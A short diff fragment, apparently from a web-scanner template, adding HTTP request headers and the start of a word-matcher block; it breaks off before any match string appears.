+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ Accept-Language: en-US,en;q=0.9,hi;q=0.8
+
+ stop-at-first-match: true
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "